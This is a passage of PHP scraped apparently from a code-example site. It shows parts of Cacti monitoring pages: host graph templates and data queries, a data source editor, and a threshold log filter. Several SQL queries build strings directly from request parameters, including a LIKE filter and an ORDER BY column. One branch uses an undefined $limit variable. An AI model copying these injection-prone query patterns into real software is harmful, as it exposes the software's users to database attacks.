			setSNMP("v3");

			break;
		}
	}

	function setSNMP(snmp_type) {
		switch(snmp_type) {
		case "None":
			document.getElementById('row_snmp_username').style.display        = "none";
			document.getElementById('row_snmp_password').style.display        = "none";
			document.getElementById('row_snmp_community').style.display       = "none";
			document.getElementById('row_snmp_auth_protocol').style.display   = "none";
			document.getElementById('row_snmp_priv_passphrase').style.display = "none";
			document.getElementById('row_snmp_priv_protocol').style.display   = "none";
			document.getElementById('row_snmp_context').style.display         = "none";
			document.getElementById('row_snmp_port').style.display            = "none";
            if (document.getElementById('row_snmp_timeout')) {
			document.getElementById('row_snmp_timeout').style.display         = "none";
			document.getElementById('row_max_oids').style.display             = "none";
            }

			break;
		case "v1v2":
			document.getElementById('row_snmp_username').style.display        = "none";
			document.getElementById('row_snmp_password').style.display        = "none";
			document.getElementById('row_snmp_community').style.display       = "";
			document.getElementById('row_snmp_auth_protocol').style.display   = "none";
			document.getElementById('row_snmp_priv_passphrase').style.display = "none";
			document.getElementById('row_snmp_priv_protocol').style.display   = "none";
			document.getElementById('row_snmp_context').style.display         = "none";
			document.getElementById('row_snmp_port').style.display            = "";
            if (document.getElementById('row_snmp_timeout')) {
			document.getElementById('row_snmp_timeout').style.display         = "";
			document.getElementById('row_max_oids').style.display             = "";
            }

			break;
		case "v3":
			document.getElementById('row_snmp_username').style.display        = "";
			document.getElementById('row_snmp_password').style.display        = "";
			document.getElementById('row_snmp_community').style.display       = "none";
			document.getElementById('row_snmp_auth_protocol').style.display   = "";
			document.getElementById('row_snmp_priv_passphrase').style.display = "";
			document.getElementById('row_snmp_priv_protocol').style.display   = "";
			document.getElementById('row_snmp_context').style.display         = "";
			document.getElementById('row_snmp_port').style.display            = "";
            if (document.getElementById('row_snmp_timeout')) {
			document.getElementById('row_snmp_timeout').style.display         = "";
			document.getElementById('row_max_oids').style.display             = "";
            }

			break;
		}
	}

	function addLoadEvent(func) {
		var oldonload = window.onload;
		if (typeof window.onload != 'function') {
			window.onload = func;
		} else {
			window.onload = function() {
				if (oldonload) {
					oldonload();
				}
				func();
			}
		}
	}

	addLoadEvent(changeHostForm);

	-->
	</script>
	<?php 
    if (isset($_GET["display_dq_details"]) && isset($_SESSION["debug_log"]["data_query"])) {
        html_start_box("<strong>Data Query Debug Information</strong>", "100%", $colors["header"], "3", "center", "");
        print "<tr><td><span style='font-family: monospace;'>" . debug_log_return("data_query") . "</span></td></tr>";
        html_end_box();
    }
    if (!empty($host["id"])) {
        html_start_box("<strong>Associated Graph Templates</strong>", "100%", $colors["header"], "3", "center", "");
        html_header(array("Graph Template Name", "Status"), 2);
        $selected_graph_templates = db_fetch_assoc("select\r\n\t\t\tgraph_templates.id,\r\n\t\t\tgraph_templates.name\r\n\t\t\tfrom (graph_templates,host_graph)\r\n\t\t\twhere graph_templates.id=host_graph.graph_template_id\r\n\t\t\tand host_graph.host_id=" . $_GET["id"] . "\r\n\t\t\torder by graph_templates.name");
        /* modify for multi user start */
        $sql_where = "";
        if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
            $sql_where = "AND graph_templates.name NOT LIKE '%@system'";
        }
        $available_graph_templates = db_fetch_assoc("SELECT\r\n\t\t\tgraph_templates.id, graph_templates.name\r\n\t\t\tFROM snmp_query_graph RIGHT JOIN graph_templates\r\n\t\t\tON (snmp_query_graph.graph_template_id = graph_templates.id)\r\n\t\t\tWHERE (((snmp_query_graph.name) Is Null)) {$sql_where} ORDER BY graph_templates.name");
        /* modify for multi user end */
        $i = 0;
        if (sizeof($selected_graph_templates) > 0) {
            foreach ($selected_graph_templates as $item) {
                $i++;
                /* get status information for this graph template */
                $is_being_graphed = sizeof(db_fetch_assoc("select id from graph_local where graph_template_id=" . $item["id"] . " and host_id=" . $_GET["id"])) > 0 ? true : false;
                ?>
			<tr>
				<td style="padding: 4px;">
					<strong><?php 
                print $i;
                ?>
)</strong> <?php 
                print htmlspecialchars($item["name"]);
                ?>
				</td>
				<td>
					<?php 
                print $is_being_graphed == true ? "<span style='color: green;'>Is Being Graphed</span> (<a href='" . htmlspecialchars("graphs.php?action=graph_edit&id=" . db_fetch_cell("select id from graph_local where graph_template_id=" . $item["id"] . " and host_id=" . $_GET["id"] . " limit 0,1")) . "'>Edit</a>)" : "<span style='color: #484848;'>Not Being Graphed</span>";
                ?>
				</td>
				<td align='right' nowrap>
					<a href='<?php 
                print htmlspecialchars("host.php?action=gt_remove&id=" . $item["id"] . "&host_id=" . $_GET["id"]);
                ?>
'><img src='images/delete_icon_large.gif' title='Delete Graph Template Association' alt='Delete Graph Template Association' border='0' align='middle'></a>
				</td>
			</tr>
			<?php 
            }
        } else {
            print "<tr><td><em>No associated graph templates.</em></td></tr>";
        }
        ?>
		<tr bgcolor="#<?php 
        print $colors["form_alternate1"];
        ?>
">
			<td colspan="4">
				<table cellspacing="0" cellpadding="1" width="100%">
					<td nowrap>Add Graph Template:&nbsp;
						<?php 
        form_dropdown("graph_template_id", $available_graph_templates, "name", "id", "", "", "");
        ?>
					</td>
					<td align="right">
						&nbsp;<input type="submit" value="Add" name="add_gt_x" title="Add Graph Template to Host"<?php 
        /* modify for multi user start */
        if (!check_resource_count(RESOURCE_GRAPH) || !check_resource_count(RESOURCE_DATA)) {
            print " disabled";
        }
        /* modify for multi user end */
        ?>
>
					</td>
				</table>
			</td>
		</tr>

		<?php 
        html_end_box();
        html_start_box("<strong>Associated Data Queries</strong>", "100%", $colors["header"], "3", "center", "");
        html_header(array("Data Query Name", "Debugging", "Re-Index Method", "Status"), 2);
        $selected_data_queries = db_fetch_assoc("select\r\n\t\t\tsnmp_query.id,\r\n\t\t\tsnmp_query.name,\r\n\t\t\thost_snmp_query.reindex_method\r\n\t\t\tfrom (snmp_query,host_snmp_query)\r\n\t\t\twhere snmp_query.id=host_snmp_query.snmp_query_id\r\n\t\t\tand host_snmp_query.host_id=" . $_GET["id"] . "\r\n\t\t\torder by snmp_query.name");
        /* modify for multi user start */
        $sql_where = "";
        if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
            $sql_where = "WHERE snmp_query.name NOT LIKE '%@system'";
        }
        $available_data_queries = db_fetch_assoc("select\r\n\t\t\tsnmp_query.id,\r\n\t\t\tsnmp_query.name\r\n\t\t\tfrom snmp_query\r\n            {$sql_where}\r\n\t\t\torder by snmp_query.name");
        /* modify for multi user end */
        $keeper = array();
        foreach ($available_data_queries as $item) {
            if (sizeof(db_fetch_assoc("SELECT snmp_query_id FROM host_snmp_query " . " WHERE ((host_id=" . $_GET["id"] . ")" . " and (snmp_query_id=" . $item["id"] . "))")) > 0) {
                /* do nothing */
            } else {
                array_push($keeper, $item);
            }
        }
        $available_data_queries = $keeper;
        $i = 0;
        if (sizeof($selected_data_queries) > 0) {
            foreach ($selected_data_queries as $item) {
                $i++;
                /* get status information for this data query */
                $num_dq_items = sizeof(db_fetch_assoc("select snmp_index from host_snmp_cache where host_id=" . $_GET["id"] . " and snmp_query_id=" . $item["id"]));
                $num_dq_rows = sizeof(db_fetch_assoc("select snmp_index from host_snmp_cache where host_id=" . $_GET["id"] . " and snmp_query_id=" . $item["id"] . " group by snmp_index"));
                $status = "success";
                ?>
			<tr>
				<td style="padding: 4px;">
					<strong><?php 
                print $i;
                ?>
)</strong> <?php 
                print htmlspecialchars($item["name"]);
                ?>
				</td>
				<td>
					(<a href="<?php 
                print htmlspecialchars("host.php?action=query_verbose&id=" . $item["id"] . "&host_id=" . $_GET["id"]);
                ?>
">Verbose Query</a>)
				</td>
				<td>
					<?php 
                print $reindex_types[$item["reindex_method"]];
                ?>
				</td>
				<td>
					<?php 
                print $status == "success" ? "<span style='color: green;'>Success</span>" : "<span style='color: green;'>Fail</span>";
                ?>
 [<?php 
                print $num_dq_items;
                ?>
 Item<?php 
                print $num_dq_items == 1 ? "" : "s";
                ?>
, <?php 
                print $num_dq_rows;
                ?>
 Row<?php 
                print $num_dq_rows == 1 ? "" : "s";
                ?>
]
				</td>
				<td align='right' nowrap>
					<a href='<?php 
                print htmlspecialchars("host.php?action=query_reload&id=" . $item["id"] . "&host_id=" . $_GET["id"]);
                ?>
'><img src='images/reload_icon_small.gif' title='Reload Data Query' alt='Reload Data Query' border='0' align='middle'></a>&nbsp;
					<a href='<?php 
                print htmlspecialchars("host.php?action=query_remove&id=" . $item["id"] . "&host_id=" . $_GET["id"]);
                ?>
'><img src='images/delete_icon_large.gif' title='Delete Data Query Association' alt='Delete Data Query Association' border='0' align='middle'></a>
				</td>
			</tr>
			<?php 
            }
        } else {
            print "<tr><td><em>No associated data queries.</em></td></tr>";
        }
        ?>
		<tr bgcolor="#<?php 
        print $colors["form_alternate1"];
        ?>
">
			<td colspan="5">
				<table cellspacing="0" cellpadding="1" width="100%">
					<td nowrap>Add Data Query:&nbsp;
						<?php 
        form_dropdown("snmp_query_id", $available_data_queries, "name", "id", "", "", "");
        ?>
					</td>
					<td nowrap>Re-Index Method:&nbsp;
						<?php 
        form_dropdown("reindex_method", $reindex_types, "", "", read_config_option("reindex_method"), "", "");
        ?>
					</td>
					<td align="right">
						&nbsp;<input type="submit" value="Add" name="add_dq_x" title="Add Data Query to Host"<?php 
        /* modify for multi user start */
        if (!check_resource_count(RESOURCE_GRAPH) || !check_resource_count(RESOURCE_DATA)) {
            print " disabled";
        }
        /* modify for multi user end */
        ?>
>
					</td>
				</table>
			</td>
		</tr>

		<?php 
        html_end_box();
    }
    form_save_button("host.php", "return");
    api_plugin_hook('host_edit_bottom');
}
Esempio n. 10
0
function ds_edit()
{
    global $colors, $struct_data_source, $struct_data_source_item, $data_source_types;
    /* ================= input validation ================= */
    input_validate_input_number(get_request_var("id"));
    input_validate_input_number(get_request_var("host_id"));
    /* ==================================================== */
    /* modify for multi user start */
    if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
        // data_source add
        if ($_GET["id"] == "") {
            if ($_GET["host_id"] != -1) {
                if (!check_host($_GET["host_id"])) {
                    access_denied();
                }
            }
            // data_source edit
        } else {
            if (!check_data($_GET["id"])) {
                access_denied();
            }
        }
    }
    /* modify for multi user end */
    api_plugin_hook('data_source_edit_top');
    $use_data_template = true;
    $host_id = 0;
    if (!empty($_GET["id"])) {
        $data_local = db_fetch_row("select host_id,data_template_id from data_local where id='" . $_GET["id"] . "'");
        $data = db_fetch_row("select * from data_template_data where local_data_id='" . $_GET["id"] . "'");
        if (isset($data_local["data_template_id"]) && $data_local["data_template_id"] >= 0) {
            $data_template = db_fetch_row("select id,name from data_template where id='" . $data_local["data_template_id"] . "'");
            $data_template_data = db_fetch_row("select * from data_template_data where data_template_id='" . $data_local["data_template_id"] . "' and local_data_id=0");
        } else {
            $_SESSION["sess_messages"] = 'Data Source "' . $_GET["id"] . '" does not exist.';
            header("Location: data_sources.php");
            exit;
        }
        $header_label = "[edit: " . htmlspecialchars(get_data_source_title($_GET["id"])) . "]";
        if (empty($data_local["data_template_id"])) {
            $use_data_template = false;
        }
    } else {
        $header_label = "[new]";
        $use_data_template = false;
    }
    /* modify for multi user start */
    if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
        unset($_GET["debug"]);
    }
    /* modify for multi user end */
    /* handle debug mode */
    if (isset($_GET["debug"])) {
        if ($_GET["debug"] == "0") {
            kill_session_var("ds_debug_mode");
        } elseif ($_GET["debug"] == "1") {
            $_SESSION["ds_debug_mode"] = true;
        }
    }
    include_once "./include/top_header.php";
    if (!empty($_GET["id"])) {
        ?>
		<table width="100%" align="center">
			<tr>
				<td class="textInfo" colspan="2" valign="top">
					<?php 
        print htmlspecialchars(get_data_source_title($_GET["id"]));
        ?>
				</td>
				<td class="textInfo" align="right" valign="top">
                    <?php 
        /* modify for multi user start */
        if ($_SESSION["permission"] == ACCESS_ADMINISTRATOR) {
            ?>
					<span style="color: #c16921;">*<a href='<?php 
            print htmlspecialchars("data_sources.php?action=ds_edit&id=" . (isset($_GET["id"]) ? $_GET["id"] : "0"));
            ?>
&debug=<?php 
            print isset($_SESSION["ds_debug_mode"]) ? "0" : "1";
            ?>
'>Turn <strong><?php 
            print isset($_SESSION["ds_debug_mode"]) ? "Off" : "On";
            ?>
</strong> Data Source Debug Mode.</a><br>
					<?php 
        }
        if (!empty($data_template["id"]) && $_SESSION["permission"] == ACCESS_ADMINISTRATOR) {
            ?>
<span style="color: #c16921;">*<a href='<?php 
            print htmlspecialchars("data_templates.php?action=template_edit&id=" . (isset($data_template["id"]) ? $data_template["id"] : "0"));
            ?>
'>Edit Data Template.</a><br><?php 
        }
        /* modify for multi user end */
        if (!empty($_GET["host_id"]) || !empty($data_local["host_id"])) {
            ?>
<span style="color: #c16921;">*<a href='<?php 
            print htmlspecialchars("host.php?action=edit&id=" . (isset($_GET["host_id"]) ? $_GET["host_id"] : $data_local["host_id"]));
            ?>
'>Edit Host.</a><br><?php 
        }
        ?>
				</td>
			</tr>
		</table>
		<br>
		<?php 
    }
    html_start_box("<strong>Data Template Selection</strong> {$header_label}", "100%", $colors["header"], "3", "center", "");
    $form_array = array("data_template_id" => array("method" => "drop_sql", "friendly_name" => "Selected Data Template", "description" => "The name given to this data template.", "value" => isset($data_template) ? $data_template["id"] : "0", "none_value" => "None", "sql" => "select id,name from data_template order by name"), "host_id" => array("method" => "drop_sql", "friendly_name" => "Host", "description" => "Choose the host that this graph belongs to.", "value" => isset($_GET["host_id"]) ? $_GET["host_id"] : $data_local["host_id"], "none_value" => "None", "sql" => "select id,CONCAT_WS('',description,' (',hostname,')') as name from host order by description,hostname"), "_data_template_id" => array("method" => "hidden", "value" => isset($data_template) ? $data_template["id"] : "0"), "_host_id" => array("method" => "hidden", "value" => empty($data_local["host_id"]) ? isset($_GET["host_id"]) ? $_GET["host_id"] : "0" : $data_local["host_id"]), "_data_input_id" => array("method" => "hidden", "value" => isset($data["data_input_id"]) ? $data["data_input_id"] : "0"), "data_template_data_id" => array("method" => "hidden", "value" => isset($data) ? $data["id"] : "0"), "local_data_template_data_id" => array("method" => "hidden", "value" => isset($data) ? $data["local_data_template_data_id"] : "0"), "local_data_id" => array("method" => "hidden", "value" => isset($data) ? $data["local_data_id"] : "0"));
    /* modify for multi user start */
    if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
        unset($form_array["data_template_id"]["none_value"]);
        $form_array["data_template_id"]["sql"] = "SELECT id,name FROM data_template WHERE name NOT LIKE '%@system' ORDER BY name";
        unset($form_array["host_id"]["none_value"]);
        $form_array["host_id"]["sql"] = "\r\n            SELECT host.id,CONCAT_WS('',host.description,' (',host.hostname,')') AS name FROM host \r\n                INNER JOIN user_auth_perms ON host.id = user_auth_perms.item_id AND user_auth_perms.user_id = '" . $_SESSION["sess_user_id"] . "' AND user_auth_perms.type = '3' \r\n            ORDER BY host.description,host.hostname";
    }
    /* modify for multi user end */
    draw_edit_form(array("config" => array(), "fields" => $form_array));
    html_end_box();
    /* only display the "inputs" area if we are using a data template for this data source */
    if (!empty($data["data_template_id"])) {
        $template_data_rrds = db_fetch_assoc("select * from data_template_rrd where local_data_id=" . $_GET["id"] . " order by data_source_name");
        html_start_box("<strong>Supplemental Data Template Data</strong>", "100%", $colors["header"], "3", "center", "");
        draw_nontemplated_fields_data_source($data["data_template_id"], $data["local_data_id"], $data, "|field|", "<strong>Data Source Fields</strong>", true, true, 0);
        draw_nontemplated_fields_data_source_item($data["data_template_id"], $template_data_rrds, "|field|_|id|", "<strong>Data Source Item Fields</strong>", true, true, true, 0);
        draw_nontemplated_fields_custom_data($data["id"], "value_|id|", "<strong>Custom Data</strong>", true, true, 0);
        form_hidden_box("save_component_data", "1", "");
        html_end_box();
    }
    if ((isset($_GET["id"]) || isset($_GET["new"])) && empty($data["data_template_id"])) {
        html_start_box("<strong>Data Source</strong>", "100%", $colors["header"], "3", "center", "");
        $form_array = array();
        while (list($field_name, $field_array) = each($struct_data_source)) {
            $form_array += array($field_name => $struct_data_source[$field_name]);
            if (!($use_data_template == false || !empty($data_template_data["t_" . $field_name]) || $field_array["flags"] == "NOTEMPLATE")) {
                $form_array[$field_name]["description"] = "";
            }
            $form_array[$field_name]["value"] = isset($data[$field_name]) ? $data[$field_name] : "";
            $form_array[$field_name]["form_id"] = empty($data["id"]) ? "0" : $data["id"];
            if (!($use_data_template == false || !empty($data_template_data["t_" . $field_name]) || $field_array["flags"] == "NOTEMPLATE")) {
                $form_array[$field_name]["method"] = "template_" . $form_array[$field_name]["method"];
            }
        }
        draw_edit_form(array("config" => array("no_form_tag" => true), "fields" => inject_form_variables($form_array, isset($data) ? $data : array())));
        html_end_box();
        /* fetch ALL rrd's for this data source */
        if (!empty($_GET["id"])) {
            $template_data_rrds = db_fetch_assoc("select id,data_source_name from data_template_rrd where local_data_id=" . $_GET["id"] . " order by data_source_name");
        }
        /* select the first "rrd" of this data source by default */
        if (empty($_GET["view_rrd"])) {
            $_GET["view_rrd"] = isset($template_data_rrds[0]["id"]) ? $template_data_rrds[0]["id"] : "0";
        }
        /* get more information about the rrd we chose */
        if (!empty($_GET["view_rrd"])) {
            $local_data_template_rrd_id = db_fetch_cell("select local_data_template_rrd_id from data_template_rrd where id=" . $_GET["view_rrd"]);
            $rrd = db_fetch_row("select * from data_template_rrd where id=" . $_GET["view_rrd"]);
            $rrd_template = db_fetch_row("select * from data_template_rrd where id={$local_data_template_rrd_id}");
            $header_label = "[edit: " . $rrd["data_source_name"] . "]";
        } else {
            $header_label = "";
        }
        $i = 0;
        if (isset($template_data_rrds)) {
            if (sizeof($template_data_rrds) > 1) {
                /* draw the data source tabs on the top of the page */
                print "\t<table class='tabs' width='100%' cellspacing='0' cellpadding='3' align='center'>\r\n\t\t\t\t\t<tr>\n";
                foreach ($template_data_rrds as $template_data_rrd) {
                    $i++;
                    print "\t<td " . ($template_data_rrd["id"] == $_GET["view_rrd"] ? "bgcolor='silver'" : "bgcolor='#DFDFDF'") . " nowrap='nowrap' width='" . (strlen($template_data_rrd["data_source_name"]) * 9 + 50) . "' align='center' class='tab'>\r\n\t\t\t\t\t\t\t\t<span class='textHeader'><a href='" . htmlspecialchars("data_sources.php?action=ds_edit&id=" . $_GET["id"] . "&view_rrd=" . $template_data_rrd["id"]) . "'>{$i}: " . htmlspecialchars($template_data_rrd["data_source_name"]) . "</a>" . ($use_data_template == false ? " <a href='" . htmlspecialchars("data_sources.php?action=rrd_remove&id=" . $template_data_rrd["id"] . "&local_data_id=" . $_GET["id"]) . "'><img src='images/delete_icon.gif' border='0' alt='Delete'></a>" : "") . "</span>\r\n\t\t\t\t\t\t\t</td>\n\r\n\t\t\t\t\t\t\t<td width='1'></td>\n";
                }
                print "\r\n\t\t\t\t\t<td></td>\n\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t</table>\n";
            } elseif (sizeof($template_data_rrds) == 1) {
                $_GET["view_rrd"] = $template_data_rrds[0]["id"];
            }
        }
        html_start_box("", "100%", $colors["header"], "3", "center", "");
        print "\t<tr>\r\n\t\t\t\t<td bgcolor='#" . $colors["header"] . "' class='textHeaderDark'>\r\n\t\t\t\t\t<strong>Data Source Item</strong> {$header_label}\r\n\t\t\t\t</td>\r\n\t\t\t\t<td class='textHeaderDark' align='right' bgcolor='#" . $colors["header"] . "'>\r\n\t\t\t\t\t" . (!empty($_GET["id"]) && empty($data_template["id"]) ? "<strong><a class='linkOverDark' href='" . htmlspecialchars("data_sources.php?action=rrd_add&id=" . $_GET["id"]) . "'>New</a>&nbsp;</strong>" : "") . "\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\n";
        /* data input fields list */
        if (empty($data["data_input_id"]) || db_fetch_cell("select type_id from data_input where id=" . $data["data_input_id"]) > "1") {
            unset($struct_data_source_item["data_input_field_id"]);
        } else {
            $struct_data_source_item["data_input_field_id"]["sql"] = "select id,CONCAT(data_name,' - ',name) as name from data_input_fields where data_input_id=" . $data["data_input_id"] . " and input_output='out' and update_rra='on' order by data_name,name";
        }
        $form_array = array();
        while (list($field_name, $field_array) = each($struct_data_source_item)) {
            $form_array += array($field_name => $struct_data_source_item[$field_name]);
            if (!($use_data_template == false || $rrd_template["t_" . $field_name] == "on")) {
                $form_array[$field_name]["description"] = "";
            }
            $form_array[$field_name]["value"] = isset($rrd) ? $rrd[$field_name] : "";
            if (!($use_data_template == false || $rrd_template["t_" . $field_name] == "on")) {
                $form_array[$field_name]["method"] = "template_" . $form_array[$field_name]["method"];
            }
        }
        draw_edit_form(array("config" => array("no_form_tag" => true), "fields" => array("data_template_rrd_id" => array("method" => "hidden", "value" => isset($rrd) ? $rrd["id"] : "0"), "local_data_template_rrd_id" => array("method" => "hidden", "value" => isset($rrd) ? $rrd["local_data_template_rrd_id"] : "0")) + $form_array));
        html_end_box();
        /* data source data goes here */
        data_edit();
        form_hidden_box("current_rrd", $_GET["view_rrd"], "0");
    }
    /* display the debug mode box if the user wants it */
    if (isset($_SESSION["ds_debug_mode"]) && isset($_GET["id"])) {
        ?>
		<table width="100%" align="center">
			<tr>
				<td>
					<span class="textInfo">Data Source Debug</span><br>
					<pre><?php 
        print @rrdtool_function_create($_GET["id"], true);
        ?>
</pre>
				</td>
			</tr>
		</table>
		<?php 
    }
    if (isset($_GET["id"]) || isset($_GET["new"])) {
        form_hidden_box("save_component_data_source", "1", "");
    } else {
        form_hidden_box("save_component_data_source_new", "1", "");
    }
    form_save_button("data_sources.php");
    api_plugin_hook('data_source_edit_bottom');
    include_once "./include/bottom_footer.php";
}
Esempio n. 11
0
function thold_show_log()
{
    global $config, $colors, $item_rows;
    $thold_log = array('Alarm' => 'F21924', 'Warning' => 'FB4A14', 'Re-Trigger' => 'FF7A30', 'Alert Trigger' => 'FAFD9E', 'Warn Trigger' => 'FAFD9E', 'Restoral' => 'CCFFCC', 'Restore' => 'CDCFC4', 'Alarm2Warn' => 'FACD6E');
    $thold_status = array('0' => 'Restore', '1' => 'Alert Trigger', '2' => 'Re-Trigger', '3' => 'Warning', '4' => 'Alarm', '5' => 'Restoral', '6' => 'Warn Trigger', '7' => 'Alarm-Warn');
    $types = array('High/Low', 'Baseline Deviation', 'Time Based');
    /* ================= input validation ================= */
    input_validate_input_number(get_request_var_request("threshold_id"));
    input_validate_input_number(get_request_var_request("host_id"));
    input_validate_input_number(get_request_var_request("page"));
    input_validate_input_number(get_request_var_request("status"));
    input_validate_input_number(get_request_var_request("rows"));
    /* ==================================================== */
    /* clean up search string */
    if (isset($_REQUEST["filter"])) {
        $_REQUEST["filter"] = sanitize_search_string(get_request_var("filter"));
    }
    /* clean up sort_column */
    if (isset($_REQUEST["sort_column"])) {
        $_REQUEST["sort_column"] = sanitize_search_string(get_request_var("sort_column"));
    }
    /* clean up search string */
    if (isset($_REQUEST["sort_direction"])) {
        $_REQUEST["sort_direction"] = sanitize_search_string(get_request_var("sort_direction"));
    }
    /* if the user pushed the 'clear' button */
    if (isset($_REQUEST["clear"])) {
        kill_session_var("sess_thold_log_current_page");
        kill_session_var("sess_thold_log_filter");
        kill_session_var("sess_thold_log_threshold_id");
        kill_session_var("sess_thold_log_host_id");
        kill_session_var("sess_thold_log_status");
        kill_session_var("sess_thold_log_rows");
        kill_session_var("sess_thold_log_sort_column");
        kill_session_var("sess_thold_log_sort_direction");
        unset($_REQUEST["page"]);
        unset($_REQUEST["filter"]);
        unset($_REQUEST["host_id"]);
        unset($_REQUEST["threshold_id"]);
        unset($_REQUEST["status"]);
        unset($_REQUEST["rows"]);
        unset($_REQUEST["sort_column"]);
        unset($_REQUEST["sort_direction"]);
    } else {
        /* if any of the settings changed, reset the page number */
        $changed = 0;
        $changed += thold_request_check_changed('filter', 'sess_thold_log_filter');
        $changed += thold_request_check_changed('threshold_id', 'sess_thold_log_threshold_id');
        $changed += thold_request_check_changed('host_id', 'sess_thold_log_host_id');
        $changed += thold_request_check_changed('status', 'sess_thold_log_status');
        $changed += thold_request_check_changed('rows', 'sess_thold_log_rows');
        $changed += thold_request_check_changed('sort_column', 'sess_thold_log_sort_column');
        $changed += thold_request_check_changed('sort_direction', 'sess_thold_log_sort_direction');
        if ($changed) {
            $_REQUEST['page'] = '1';
        }
    }
    /* remember these search fields in session vars so we don't have to keep passing them around */
    load_current_session_value("page", "sess_thold_log_current_page", "1");
    load_current_session_value("filter", "sess_thold_log_filter", "");
    load_current_session_value("threshold_id", "sess_thold_log_threshold_id", "-1");
    load_current_session_value("host_id", "sess_thold_log_host_id", "-1");
    load_current_session_value("status", "sess_thold_log_status", "-1");
    load_current_session_value("rows", "sess_thold_log_rows", read_config_option("num_rows_device"));
    load_current_session_value("sort_column", "sess_thold_log_sort_column", "time");
    load_current_session_value("sort_direction", "sess_thold_log_sort_direction", "DESC");
    /* if the number of rows is -1, set it to the default */
    if ($_REQUEST["rows"] == -1) {
        $_REQUEST["rows"] = read_config_option("num_rows_device");
    }
    ?>
	<script type="text/javascript">
	<!--
	function filterChange(objForm) {
		strURL = '?tab=log&status=' + objForm.status.value;
		strURL = strURL + '&threshold_id=' + objForm.threshold_id.value;
		strURL = strURL + '&host_id=' + objForm.host_id.value;
		strURL = strURL + '&rows=' + objForm.rows.value;
		strURL = strURL + '&filter=' + objForm.filter.value;
		document.location = strURL;
	}
	-->
	</script>
	<?php 
    html_start_box("<strong>Threshold Log</strong> [last 30 days]", "100%", $colors["header"], "3", "center", "");
    form_thold_log_filter();
    html_end_box();
    $sql_where = '';
    if ($_REQUEST["host_id"] == "-1") {
        /* Show all items */
    } elseif ($_REQUEST["host_id"] == "0") {
        $sql_where .= (strlen($sql_where) ? " AND" : "WHERE") . " host.id IS NULL";
    } elseif (!empty($_REQUEST["host_id"])) {
        /* modify for multi user start */
        if (!check_host($_REQUEST["host_id"])) {
            access_denied();
        }
        /* modify for multi user end */
        $sql_where .= (strlen($sql_where) ? " AND" : "WHERE") . " plugin_thold_log.host_id=" . $_REQUEST["host_id"];
    }
    if ($_REQUEST["threshold_id"] == "-1") {
        /* Show all items */
    } elseif ($_REQUEST["threshold_id"] == "0") {
        $sql_where .= (strlen($sql_where) ? " AND" : "WHERE") . " thold_data.id IS NULL";
    } elseif (!empty($_REQUEST["threshold_id"])) {
        $sql_where .= (strlen($sql_where) ? " AND" : "WHERE") . " plugin_thold_log.threshold_id=" . $_REQUEST["threshold_id"];
    }
    if ($_REQUEST["status"] == "-1") {
        /* Show all items */
    } else {
        $sql_where .= (strlen($sql_where) ? " AND" : "WHERE") . " plugin_thold_log.status=" . $_REQUEST["status"];
    }
    if (strlen($_REQUEST["filter"])) {
        $sql_where .= (strlen($sql_where) ? " AND" : "WHERE") . " plugin_thold_log.description LIKE '%" . $_REQUEST["filter"] . "%'";
    }
    html_start_box("", "100%", $colors["header"], "3", "center", "");
    $sortby = $_REQUEST["sort_column"];
    /* modify for multi user start */
    if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
        $total_rows = db_fetch_cell("\r\n            SELECT COUNT(plugin_thold_log.id) FROM plugin_thold_log \r\n                INNER JOIN thold_data ON plugin_thold_log.threshold_id = thold_data.id \r\n                INNER JOIN user_auth_perms ON thold_data.host_id = user_auth_perms.item_id AND user_auth_perms.user_id = '" . $_SESSION["sess_user_id"] . "' AND user_auth_perms.type = '3'\r\n            {$sql_where}");
        $sql_query = "\r\n            SELECT plugin_thold_log.*, host.description AS hdescription, thold_data.name AS name FROM plugin_thold_log\r\n                INNER JOIN host ON plugin_thold_log.host_id = host.id\r\n                INNER JOIN thold_data ON plugin_thold_log.threshold_id = thold_data.id \r\n                INNER JOIN user_auth_perms ON host.id = user_auth_perms.item_id AND user_auth_perms.user_id = '" . $_SESSION["sess_user_id"] . "' AND user_auth_perms.type = '3'\r\n            {$sql_where}\r\n            ORDER BY {$sortby} " . $_REQUEST['sort_direction'] . $limit;
    } else {
        $current_user = db_fetch_row('SELECT * FROM user_auth WHERE id=' . $_SESSION['sess_user_id']);
        $sql_where .= ' AND ' . get_graph_permissions_sql($current_user['policy_graphs'], $current_user['policy_hosts'], $current_user['policy_graph_templates']);
        $total_rows = db_fetch_cell("SELECT\r\n\t\tCOUNT(*)\r\n\t\tFROM plugin_thold_log\r\n\t\tLEFT JOIN host ON plugin_thold_log.host_id=host.id\r\n\t\tLEFT JOIN thold_data ON plugin_thold_log.threshold_id=thold_data.id\r\n\t\tLEFT JOIN graph_templates_graph AS gtg ON plugin_thold_log.graph_id=gtg.local_graph_id\r\n\t\tLEFT JOIN user_auth_perms\r\n\t\tON (host.id=user_auth_perms.item_id\r\n\t\tAND user_auth_perms.type=3\r\n\t\tAND user_auth_perms.user_id=" . $_SESSION['sess_user_id'] . ")\r\n\t\t{$sql_where}");
        $sql_query = "SELECT plugin_thold_log.*, host.description AS hdescription, thold_data.name AS name, gtg.title_cache\r\n\t\tFROM plugin_thold_log\r\n\t\tLEFT JOIN host ON plugin_thold_log.host_id=host.id\r\n\t\tLEFT JOIN thold_data ON plugin_thold_log.threshold_id=thold_data.id\r\n\t\tLEFT JOIN graph_templates_graph AS gtg ON plugin_thold_log.graph_id=gtg.local_graph_id\r\n\t\tLEFT JOIN user_auth_perms\r\n\t\tON (host.id=user_auth_perms.item_id\r\n\t\tAND user_auth_perms.type=3\r\n\t\tAND user_auth_perms.user_id=" . $_SESSION['sess_user_id'] . ")\r\n\t\t{$sql_where}\r\n\t\tORDER BY " . $sortby . " " . $_REQUEST["sort_direction"] . "\r\n\t\tLIMIT " . $_REQUEST["rows"] * ($_REQUEST["page"] - 1) . "," . $_REQUEST["rows"];
    }
    /* modify for multi user end */
    //print $sql_query;
    $logs = db_fetch_assoc($sql_query);
    /* generate page list */
    $url_page_select = get_page_list($_REQUEST["page"], MAX_DISPLAY_PAGES, $_REQUEST["rows"], $total_rows, "thold_graph.php?tab=log");
    if ($total_rows) {
